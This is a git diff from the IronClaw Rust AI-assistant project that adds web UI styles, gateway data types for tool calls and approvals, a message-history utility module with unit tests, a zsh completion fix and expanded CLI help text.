background-color: #1a1a1a;
border: 1px solid #333;
border-radius: 0.75rem;
box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25);
width: 100%;
max-width: 28rem;
margin: 0 1rem;
overflow: hidden;
padding: 1.25rem;
}
.restart-spinner {
display: none;
}
.restart-loader-text {
padding: 0;
}
.restart-title {
color: #e0e0e0;
font-size: 0.85rem;
margin-bottom: 1rem;
margin-top: 0;
}
.restart-subtitle {
display: none;
}
/* Restart Modal (Confirmation) */
.restart-modal {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.restart-modal-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
backdrop-filter: blur(4px);
}
.restart-modal-content {
position: relative;
z-index: 10000;
background-color: #1a1a1a;
border: 1px solid #333;
border-radius: 0.75rem;
box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25);
width: 100%;
max-width: 28rem;
margin: 0 1rem;
overflow: hidden;
}
.restart-modal-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem 1.25rem;
border-bottom: 1px solid #2a2a2a;
}
.restart-modal-header h2 {
color: #e0e0e0;
font-size: 0.95rem;
margin: 0;
}
.restart-modal-close {
color: #888;
padding: 0.25rem;
border-radius: 0.25rem;
background-color: transparent;
border: none;
cursor: pointer;
transition: color 150ms, background-color 150ms;
display: flex;
align-items: center;
justify-content: center;
}
.restart-modal-close:hover {
color: #ccc;
background-color: #2a2a2a;
}
.restart-modal-body {
padding: 1.25rem;
}
.restart-modal-description {
color: #aaa;
font-size: 0.85rem;
margin: 0;
}
.restart-modal-warning {
margin-top: 1rem;
background-color: #1e1400;
border: 1px solid #3a2a00;
border-radius: 0.5rem;
padding: 0.75rem 1rem;
}
.restart-modal-warning p {
color: #facc15;
font-size: 0.8rem;
margin: 0;
}
.restart-modal-footer {
display: flex;
align-items: center;
justify-content: flex-end;
gap: 0.75rem;
padding: 1rem 1.25rem;
border-top: 1px solid #2a2a2a;
}
.restart-modal-btn {
padding: 0.5rem 1rem;
border-radius: 0.5rem;
font-size: 0.85rem;
border: none;
cursor: pointer;
transition: background-color 150ms;
}
.restart-modal-btn.cancel {
color: #ccc;
background-color: transparent;
}
.restart-modal-btn.cancel:hover {
background-color: #2a2a2a;
}
.restart-modal-btn.confirm {
background-color: #00D894;
color: #111;
}
.restart-modal-btn.confirm:hover {
background-color: #00be82;
}
/* Progress Bar for Restart */
.restart-progress-bar {
width: 100%;
height: 0.375rem;
background-color: #2a2a2a;
border-radius: 9999px;
overflow: hidden;
}
.restart-progress-fill {
height: 100%;
border-radius: 9999px;
background-color: #00D894;
width: 40%;
animation: indeterminate 1.5s ease-in-out infinite;
}
@keyframes indeterminate {
0% {
margin-left: 0;
width: 40%;
}
50% {
margin-left: 60%;
width: 40%;
}
100% {
margin-left: 0;
width: 40%;
}
}
.restart-modal-info {
color: #666;
font-size: 0.8rem;
margin-top: 1.25rem;
margin-bottom: 0;
}
.restart-modal-info a {
color: #00D894;
text-decoration: none;
}
.restart-modal-info a:hover {
text-decoration: underline;
}
.tee-popover {
display: none;
position: absolute;
@@ -458,31 +739,6 @@ body {
.message th { background: var(--bg-tertiary); }
/* Status bar */
.chat-status {
padding: 6px 16px;
font-size: 12px;
color: var(--text-secondary);
border-top: 1px solid var(--border);
background: var(--bg-secondary);
min-height: 28px;
display: flex;
align-items: center;
gap: 8px;
}
.chat-status .spinner {
width: 12px;
height: 12px;
border: 2px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.6s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.scroll-load-spinner {
display: flex;
@@ -575,6 +831,10 @@ body {
border-color: rgba(230, 76, 76, 0.3);
}
.activity-tool-card[data-status="fail"] .activity-tool-name {
color: var(--danger);
}
.activity-tool-header {
display: flex;
align-items: center;
@@ -833,6 +1093,75 @@ body {
font-style: italic;
}
/* Tool calls summary (persisted between user/assistant messages) */
.tool-calls-summary {
background: var(--bg-secondary);
border-left: 3px solid var(--warning);
padding: 6px 12px;
margin: 4px 0;
font-size: 0.85em;
border-radius: 4px;
}
.tool-calls-header {
color: var(--text-secondary);
font-weight: 500;
user-select: none;
}
.tool-calls-header::before {
content: '\25B6';
display: inline-block;
margin-right: 6px;
font-size: 0.7em;
transition: transform 0.15s;
}
.tool-calls-header.expanded::before {
transform: rotate(90deg);
}
.tool-calls-list {
margin-top: 6px;
display: none;
}
.tool-calls-list.expanded {
display: block;
}
.tool-call-item {
padding: 3px 0;
border-bottom: 1px solid var(--border);
}
.tool-call-item:last-child {
border-bottom: none;
}
.tool-call-name {
font-weight: 500;
color: var(--text-primary);
}
.tool-call-preview {
color: var(--text-secondary);
font-size: 0.9em;
max-height: 60px;
overflow: hidden;
white-space: pre-wrap;
word-break: break-word;
}
.tool-call-error-text {
color: var(--danger);
font-size: 0.9em;
}
.tool-error .tool-call-name {
color: var(--danger);
}
/* Auth card (inline in chat) */
.auth-card {
align-self: flex-start;
@@ -943,7 +1272,7 @@ body {
/* Chat input */
.chat-input {
display: flex;
padding: 12px 16px;
padding: 12px 16px max(12px, env(safe-area-inset-bottom)) 16px;
gap: 8px;
background: var(--bg-secondary);
border-top: 1px solid var(--border);
@@ -1764,6 +2093,7 @@ body {
.job-files {
display: flex;
height: calc(100vh - 280px);
height: calc(100dvh - 280px);
border: 1px solid var(--border);
border-radius: var(--radius);
overflow: hidden;
@@ -2268,43 +2598,6 @@ body {
margin-top: 6px;
}
/* Restart overlay */
.restart-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.8);
z-index: 2000;
display: flex;
align-items: center;
justify-content: center;
}
.restart-message {
text-align: center;
color: var(--text);
}
.restart-message h2 {
margin: 16px 0 8px;
}
.restart-message p {
color: var(--text-secondary);
}
.restart-spinner {
width: 40px;
height: 40px;
border: 3px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.8s linear infinite;
margin: 0 auto;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
@@ -3382,3 +3675,44 @@ mark {
width: 100%;
}
}
/* Slash command autocomplete dropdown */
.slash-autocomplete {
position: relative;
background: var(--bg-secondary);
border-top: 1px solid var(--border);
border-bottom: none;
max-height: 220px;
overflow-y: auto;
z-index: 50;
}
.slash-ac-item {
display: flex;
align-items: baseline;
gap: 10px;
padding: 7px 16px;
cursor: pointer;
transition: background 0.1s;
}
.slash-ac-item:hover,
.slash-ac-item.selected {
background: var(--bg-tertiary);
}
.slash-ac-cmd {
font-family: var(--font-mono);
font-size: 13px;
color: var(--accent);
white-space: nowrap;
min-width: 130px;
}
.slash-ac-desc {
font-size: 12px;
color: var(--text-secondary);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
+40 -5
View File
@@ -55,6 +55,10 @@ pub struct ToolCallInfo {
pub name: String,
pub has_result: bool,
pub has_error: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub result_preview: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<String>,
}
#[derive(Debug, Serialize)]
@@ -67,6 +71,21 @@ pub struct HistoryResponse {
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
#[serde(skip_serializing_if = "Option::is_none")]
pub oldest_timestamp: Option<String>,
/// Pending tool approval that needs user action (re-rendered on thread switch).
///
/// Only populated from in-memory state; not persisted to DB.
/// Server restart clears pending approvals.
#[serde(skip_serializing_if = "Option::is_none")]
pub pending_approval: Option<PendingApprovalInfo>,
}
/// Lightweight DTO for a pending tool approval (excludes context_messages).
#[derive(Debug, Serialize)]
pub struct PendingApprovalInfo {
pub request_id: String,
pub tool_name: String,
pub description: String,
pub parameters: String,
}
// --- Approval ---
@@ -104,6 +123,10 @@ pub enum SseEvent {
name: String,
success: bool,
#[serde(skip_serializing_if = "Option::is_none")]
error: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
parameters: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
thread_id: Option<String>,
},
#[serde(rename = "tool_result")]
@@ -313,6 +336,15 @@ pub struct JobDetailResponse {
#[serde(skip_serializing_if = "Option::is_none")]
pub job_mode: Option<String>,
pub transitions: Vec<TransitionInfo>,
/// Whether this job can be restarted from the UI.
#[serde(default)]
pub can_restart: bool,
/// Whether follow-up prompts can be sent to this job.
#[serde(default)]
pub can_prompt: bool,
/// The kind of job: "sandbox" or "agent".
#[serde(skip_serializing_if = "Option::is_none")]
pub job_kind: Option<String>,
}
// --- Project Files ---
@@ -348,6 +380,8 @@ pub struct TransitionInfo {
#[derive(Debug, Serialize)]
pub struct ExtensionInfo {
pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub display_name: Option<String>,
pub kind: String,
pub description: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
@@ -358,6 +392,9 @@ pub struct ExtensionInfo {
/// Whether this extension has configurable secrets (setup schema).
#[serde(default)]
pub needs_setup: bool,
/// Whether this extension has an auth configuration (OAuth or manual token).
#[serde(default)]
pub has_auth: bool,
/// WASM channel activation status: "installed", "configured", "active", "failed".
#[serde(skip_serializing_if = "Option::is_none")]
pub activation_status: Option<String>,
@@ -430,9 +467,6 @@ pub struct ActionResponse {
/// Whether the channel was successfully activated after setup.
#[serde(skip_serializing_if = "Option::is_none")]
pub activated: Option<bool>,
/// Whether a gateway restart is needed (activation failed).
#[serde(skip_serializing_if = "Option::is_none")]
pub needs_restart: Option<bool>,
}
impl ActionResponse {
@@ -444,7 +478,6 @@ impl ActionResponse {
awaiting_token: None,
instructions: None,
activated: None,
needs_restart: None,
}
}
@@ -456,7 +489,6 @@ impl ActionResponse {
awaiting_token: None,
instructions: None,
activated: None,
needs_restart: None,
}
}
}
@@ -541,6 +573,9 @@ pub struct SkillSearchResponse {
#[derive(Debug, Deserialize)]
pub struct SkillInstallRequest {
pub name: String,
/// Registry slug (e.g. "owner/skill-name"). Preferred over `name` for
/// constructing the download URL when fetching from ClawHub.
pub slug: Option<String>,
pub url: Option<String>,
pub content: Option<String>,
}
+234
View File
@@ -0,0 +1,234 @@
//! Shared utility functions for the web gateway.
use crate::channels::web::types::{ToolCallInfo, TurnInfo};
/// Truncate a string to at most `max_bytes` bytes at a char boundary, appending "...".
pub fn truncate_preview(s: &str, max_bytes: usize) -> String {
if s.len() <= max_bytes {
return s.to_string();
}
// Walk backwards from max_bytes to find a valid char boundary
let mut end = max_bytes;
while end > 0 && !s.is_char_boundary(end) {
end -= 1;
}
format!("{}...", &s[..end])
}
/// Build TurnInfo pairs from flat DB messages (user/tool_calls/assistant triples).
///
/// Handles three message patterns:
/// - `user → assistant` (legacy, no tool calls)
/// - `user → tool_calls → assistant` (with persisted tool call summaries)
/// - `user` alone (incomplete turn)
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is a tool_calls record
if let Some(next) = iter.peek()
&& next.role == "tool_calls"
{
let tc_msg = iter.next().expect("peeked");
match serde_json::from_str::<Vec<serde_json::Value>>(&tc_msg.content) {
Ok(calls) => {
turn.tool_calls = calls
.iter()
.map(|c| ToolCallInfo {
name: c["name"].as_str().unwrap_or("unknown").to_string(),
has_result: c.get("result_preview").is_some(),
has_error: c.get("error").is_some(),
result_preview: c["result_preview"].as_str().map(String::from),
error: c["error"].as_str().map(String::from),
})
.collect();
}
Err(e) => {
tracing::warn!(
message_id = %tc_msg.id,
"Malformed tool_calls JSON in DB, skipping: {e}"
);
}
}
}
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
#[cfg(test)]
mod tests {
use super::*;
use uuid::Uuid;
// ---- truncate_preview tests ----
#[test]
fn test_truncate_preview_short_string() {
assert_eq!(truncate_preview("hello", 10), "hello");
}
#[test]
fn test_truncate_preview_exact_boundary() {
assert_eq!(truncate_preview("hello", 5), "hello");
}
#[test]
fn test_truncate_preview_truncates_ascii() {
assert_eq!(truncate_preview("hello world", 5), "hello...");
}
#[test]
fn test_truncate_preview_empty_string() {
assert_eq!(truncate_preview("", 10), "");
}
#[test]
fn test_truncate_preview_multibyte_char_boundary() {
// '€' is 3 bytes (E2 82 AC). "a€b" = [61, E2, 82, AC, 62] = 5 bytes
// Truncating at max_bytes=3 should not split the euro sign.
let s = "a€b";
let result = truncate_preview(s, 3);
// max_bytes=3 lands mid-€, so it walks back to byte 1 ("a")
assert_eq!(result, "a...");
}
#[test]
fn test_truncate_preview_emoji() {
// '🦀' is 4 bytes. "hi🦀" = 6 bytes
let s = "hi🦀";
let result = truncate_preview(s, 4);
// max_bytes=4 lands mid-🦀, walks back to byte 2 ("hi")
assert_eq!(result, "hi...");
}
#[test]
fn test_truncate_preview_cjk() {
// CJK characters are 3 bytes each. "你好世界" = 12 bytes
let s = "你好世界";
let result = truncate_preview(s, 7);
// max_bytes=7 lands mid-character (byte 7 is inside 世), walks back to 6 ("你好")
assert_eq!(result, "你好...");
}
#[test]
fn test_truncate_preview_zero_max_bytes() {
assert_eq!(truncate_preview("hello", 0), "...");
}
// ---- build_turns_from_db_messages tests ----
fn make_msg(role: &str, content: &str, offset_ms: i64) -> crate::history::ConversationMessage {
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: role.to_string(),
content: content.to_string(),
created_at: chrono::Utc::now() + chrono::TimeDelta::milliseconds(offset_ms),
}
}
#[test]
fn test_build_turns_complete() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
make_msg("user", "How?", 2000),
make_msg("assistant", "Good", 3000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 2);
assert_eq!(turns[0].user_input, "Hello");
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
assert_eq!(turns[1].user_input, "How?");
assert_eq!(turns[1].response.as_deref(), Some("Good"));
}
#[test]
fn test_build_turns_incomplete() {
let messages = vec![make_msg("user", "Hello", 0)];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].response.is_none());
assert_eq!(turns[0].state, "Failed");
}
#[test]
fn test_build_turns_with_tool_calls() {
let tc_json = serde_json::json!([
{"name": "shell", "result_preview": "output"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
make_msg("user", "Run it", 0),
make_msg("tool_calls", &tc_json.to_string(), 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_malformed_tool_calls() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("tool_calls", "not json", 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].state, "Completed");
}
}
+5 -5
View File
@@ -242,7 +242,7 @@ async fn handle_client_message(
} => {
if let Some(ref ext_mgr) = state.extension_manager {
match ext_mgr.auth(&extension_name, Some(&token)).await {
Ok(result) if result.status == "authenticated" => {
Ok(result) if result.is_authenticated() => {
let msg = match ext_mgr.activate(&extension_name).await {
Ok(r) => format!(
"{} authenticated ({} tools loaded)",
@@ -268,9 +268,9 @@ async fn handle_client_message(
.sse
.broadcast(crate::channels::web::types::SseEvent::AuthRequired {
extension_name,
instructions: result.instructions,
auth_url: result.auth_url,
setup_url: result.setup_url,
instructions: result.instructions().map(String::from),
auth_url: result.auth_url().map(String::from),
setup_url: result.setup_url().map(String::from),
});
}
Err(e) => {
@@ -483,6 +483,7 @@ mod tests {
store: None,
job_manager: None,
prompt_queue: None,
scheduler: None,
user_id: "test".to_string(),
shutdown_tx: tokio::sync::RwLock::new(None),
ws_tracker: Some(Arc::new(WsConnectionTracker::new())),
@@ -493,7 +494,6 @@ mod tests {
registry_entries: Vec::new(),
cost_guard: None,
startup_time: std::time::Instant::now(),
restart_requested: std::sync::atomic::AtomicBool::new(false),
}
}
}
+42 -3
View File
@@ -1,6 +1,6 @@
use clap::{CommandFactory, Parser};
use clap_complete::{Shell, generate};
use std::io;
use std::io::{self, Write};
/// Generate shell completion scripts for ironclaw
#[derive(Parser, Debug)]
@@ -15,8 +15,23 @@ impl Completion {
let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string();
// Generated and output script to stdout
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
if self.shell == Shell::Zsh {
// Generate to buffer so we can patch the compdef call.
// clap_complete emits bare `compdef _ironclaw ironclaw` which
// errors if sourced before compinit. Guard it so the script
// works in all sourcing contexts.
let mut buf = Vec::new();
generate(self.shell, &mut cmd, bin_name.clone(), &mut buf);
let script = String::from_utf8(buf)?;
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = script.replace(&bare, &guarded);
io::stdout().write_all(patched.as_bytes())?;
} else {
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
}
Ok(())
}
@@ -36,4 +51,28 @@ mod tests {
generate(completion.shell, &mut cmd, bin_name, &mut buf);
assert!(!buf.is_empty(), "generate() should produce output");
}
#[test]
fn test_zsh_compdef_guard_applied() {
let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string();
let mut buf = Vec::new();
generate(Shell::Zsh, &mut cmd, bin_name.clone(), &mut buf);
let raw = String::from_utf8(buf).unwrap();
// Apply the same patching logic as run()
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = raw.replace(&bare, &guarded);
let bare_compdef = format!(" compdef _{0} {0}\n", bin_name);
assert!(
!patched.contains(&bare_compdef),
"bare compdef should not appear after patching"
);
assert!(
patched.contains("$+functions[compdef]"),
"patched output should contain compdef guard"
);
}
}
+4 -8
View File
@@ -6,6 +6,8 @@
use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
/// Run all diagnostic checks and print results.
pub async fn run_doctor_command() -> anyhow::Result<()> {
println!("IronClaw Doctor");
@@ -169,11 +171,7 @@ async fn try_pg_connect() -> Result<(), String> {
url: Some(url),
..Default::default()
};
let pool = config
.create_pool(
Some(deadpool_postgres::Runtime::Tokio1),
tokio_postgres::NoTls,
)
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
.map_err(|e| format!("pool error: {e}"))?;
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
@@ -195,9 +193,7 @@ async fn try_pg_connect() -> Result<(), String> {
}
fn check_workspace_dir() -> CheckResult {
let dir = dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let dir = ironclaw_base_dir();
if dir.exists() {
if dir.is_dir() {
+2 -2
View File
@@ -546,10 +546,10 @@ async fn get_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Syn
.await
.map_err(|e| anyhow::anyhow!("{}", e))?;
return Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
backend.shared_db(),
Arc::new(crypto),
)));
)))
}
#[cfg(not(any(feature = "postgres", feature = "libsql")))]
+77 -8
View File
@@ -37,14 +37,18 @@ pub use service::{ServiceCommand, run_service_command};
pub use status::run_status_command;
pub use tool::{ToolCommand, run_tool_command};
use clap::{Parser, Subcommand};
use clap::{ColorChoice, Parser, Subcommand};
#[derive(Parser, Debug)]
#[command(name = "ironclaw")]
#[command(
about = "Secure personal AI assistant that protects your data and expands its capabilities"
)]
#[command(
long_about = "IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.\nExamples:\n ironclaw run # Start the agent\n ironclaw config list # List configs"
)]
#[command(version)]
#[command(color = ColorChoice::Auto)] // Enable auto-color for help (if the terminal supports it)
pub struct Cli {
#[command(subcommand)]
pub command: Option<Command>,
@@ -73,9 +77,17 @@ pub struct Cli {
#[derive(Subcommand, Debug)]
pub enum Command {
/// Run the agent (default if no subcommand given)
#[command(
about = "Run the AI agent",
long_about = "Starts the IronClaw agent in default mode.\nExample: ironclaw run"
)]
Run,
/// Interactive onboarding wizard
#[command(
about = "Run interactive setup wizard",
long_about = "Guides through initial configuration.\nExamples:\n ironclaw onboard --skip-auth # Skip auth step\n ironclaw onboard --channels-only # Reconfigure channels"
)]
Onboard {
/// Skip authentication (use existing session)
#[arg(long)]
@@ -87,44 +99,85 @@ pub enum Command {
},
/// Manage configuration settings
#[command(subcommand)]
#[command(
subcommand,
about = "Manage app configs",
long_about = "Commands for listing, getting, and setting configurations.\nExample: ironclaw config list"
)]
Config(ConfigCommand),
/// Manage WASM tools
#[command(subcommand)]
#[command(
subcommand,
about = "Manage WASM tools",
long_about = "Install, list, or remove WASM-based tools.\nExample: ironclaw tool install mytool.wasm"
)]
Tool(ToolCommand),
/// Browse and install extensions from the registry
#[command(subcommand)]
#[command(
subcommand,
about = "Browse/install extensions",
long_about = "Interact with extension registry.\nExample: ironclaw registry list"
)]
Registry(RegistryCommand),
/// Manage MCP servers (hosted tool providers)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage MCP servers",
long_about = "Add, auth, list, or test MCP servers.\nExample: ironclaw mcp add notion https://mcp.notion.com"
)]
Mcp(McpCommand),
/// Query and manage workspace memory
#[command(subcommand)]
#[command(
subcommand,
about = "Manage workspace memory",
long_about = "Search, read, or write to memory.\nExample: ironclaw memory search 'query'"
)]
Memory(MemoryCommand),
/// DM pairing (approve inbound requests from unknown senders)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage DM pairing",
long_about = "Approve or manage pairing requests.\nExamples:\n ironclaw pairing list telegram\n ironclaw pairing approve telegram ABC12345"
)]
Pairing(PairingCommand),
/// Manage OS service (launchd / systemd)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage OS service",
long_about = "Install, start, or stop service.\nExample: ironclaw service install"
)]
Service(ServiceCommand),
/// Probe external dependencies and validate configuration
#[command(
about = "Run diagnostics",
long_about = "Checks dependencies and config validity.\nExample: ironclaw doctor"
)]
Doctor,
/// Show system health and diagnostics
#[command(
about = "Show system status",
long_about = "Displays health and diagnostics info.\nExample: ironclaw status"
)]
Status,
/// Generate shell completion scripts
#[command(
about = "Generate completions",
long_about = "Generates shell completion scripts.\nExample: ironclaw completion --shell bash > ironclaw.bash"
)]
Completion(Completion),
/// Run as a sandboxed worker inside a Docker container (internal use).
/// This is invoked automatically by the orchestrator, not by users directly.
#[command(hide = true)]
Worker {
/// Job ID to execute.
#[arg(long)]
@@ -141,6 +194,7 @@ pub enum Command {
/// Run as a Claude Code bridge inside a Docker container (internal use).
/// Spawns the `claude` CLI and streams output back to the orchestrator.
#[command(hide = true)]
ClaudeBridge {
/// Job ID to execute.
#[arg(long)]
@@ -171,6 +225,7 @@ impl Cli {
mod tests {
use super::*;
use clap::CommandFactory;
use insta::assert_snapshot;
#[test]
fn test_version() {
@@ -180,4 +235,18 @@ mod tests {
env!("CARGO_PKG_VERSION")
);
}
#[test]
fn test_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_help().to_string();
assert_snapshot!(help);
}
#[test]
fn test_long_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_long_help().to_string();
assert_snapshot!(help);
}
}

Some files were not shown because too many files have changed in this diff Show More